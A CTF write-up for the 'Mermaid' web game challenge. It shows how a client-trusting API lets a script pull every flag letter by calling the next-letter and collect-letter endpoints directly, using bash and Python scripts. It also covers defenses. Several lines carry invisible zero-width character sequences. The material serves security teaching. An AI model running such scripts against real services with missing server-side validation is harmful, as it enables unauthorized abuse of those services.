← Back to Writeups
CUSTOMEasyWeb

Mermaid

XESXOR9/10/20263 min read
#web#custom#easy#api-endpoint-enumeration-from-#game-logic-bypass-via-direct-a#server-side-validation-absence#linux

Mermaid

Platform: alfactf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-18 | Status: Solved Techniques: API endpoint enumeration from client JS, Game logic bypass via direct API calls, Server-side validation absence exploitation

Summary

Task: JavaScript web game with server-side API for tracking flag letter collection. Solution: Bypassed game logic by directly calling API endpoints (next-letter → collect-letter) without actually playing, exploiting missing server-side validation.

Mermaid — alfactf.ru

Description

Вы решаете разнообразить отдых и половить рыбу, но отвлекаетесь на чьё-то пение. Из воды показывается прекрасная русалка и зовёт пойти за собой.

Не дайте её заманить вас сладкими песнопениями — иначе рискуете сами стать жертвой фишинга. Аккуратно прислушайтесь к тексту песни, держась при этом подальше от русалки.

URL: https://mermaid-j5iwlg9s.alfactf.ru/

Analysis

The task was a JavaScript web game where the player must collect flag letters while avoiding "mermaid songs" (distracting elements). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Examining Client-Side Code

After examining the HTML page, I found the game.js include. In the game code, I discovered API endpoints:

EndpointMethodDescription
/api/game/startPOSTStart game, returns sessionId and totalLetters (40)
/api/game/next-letter/{sessionId}GETGet next flag letter
/api/game/collect-letter/{sessionId}POSTConfirm letter collection
/api/game/note/{sessionId}GETGet "note" (distracting element)
/api/game/missed-letter/{sessionId}POSTReport missed letter
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

The API doesn't verify whether the player actually collected the letter in the game. It's enough to call the endpoints in the correct order (next-letter → collect-letter) to get all flag letters without actually playing the game.

Issue: Lack of server-side validation of the game process. The server trusts the client that the letter was "collected".

Solution

Step 1: Start Game Session

bash
curl -s -X POST 'https://mermaid-j5iwlg9s.alfactf.ru/api/game/start' \
  -H 'Content-Type: application/json'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"sessionId": "abc123...", "totalLetters": 40}

Step 2: Automatically Collect All Letters

bash
#!/bin/bash
BASE_URL="https://mermaid-j5iwlg9s.alfactf.ru"

# Get session ID
SESSION_ID=$(curl -s -X POST "$BASE_URL/api/game/start" \
  -H 'Content-Type: application/json' | jq -r '.sessionId')

echo "Session: $SESSION_ID"

FLAG=""
for i in {1..40}; do
  # Get next letter
  LETTER=$(curl -s "$BASE_URL/api/game/next-letter/$SESSION_ID" | jq -r '.nextLetter')
  
  # "Collect" the letter (server doesn't verify if it was actually collected)
  curl -s -X POST "$BASE_URL/api/game/collect-letter/$SESSION_ID" \
    -H 'Content-Type: application/json' \
    -d "{\"letter\": \"$LETTER\"}" > /dev/null
  
  FLAG+="$LETTER"
  echo -n "$LETTER"
done
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

echo ""
echo "Flag: $FLAG"

Alternative: Python Script

python
#!/usr/bin/env python3
import requests

BASE_URL = "https://mermaid-j5iwlg9s.alfactf.ru"

# Start game
resp = requests.post(f"{BASE_URL}/api/game/start")
data = resp.json()
session_id = data["sessionId"]
total_letters = data["totalLetters"]

print(f"Session: {session_id}, Total letters: {total_letters}")

flag = ""
for i in range(total_letters):
    # Get next letter
    resp = requests.get(f"{BASE_URL}/api/game/next-letter/{session_id}")
    letter = resp.json()["nextLetter"]
    
    # "Collect" the letter
    requests.post(
        f"{BASE_URL}/api/game/collect-letter/{session_id}",
        json={"letter": letter}
    )
    
    flag += letter
    print(letter, end="", flush=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"\n\nFlag: {flag}")

Defense

To protect against this attack, developers should:

  1. Server-side validation — verify that the player actually performed the action (e.g., through timing or proof-of-work)
  2. Rate limiting — limit the frequency of API requests
  3. Captcha/Challenge — add verification before issuing each letter
  4. Obfuscation — don't deliver letters directly, encrypt them or only deliver after game completion

Lessons

  • Never trust the client in web games
  • Always check API endpoints in DevTools/source code
  • Game logic should be on the server, not the client ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍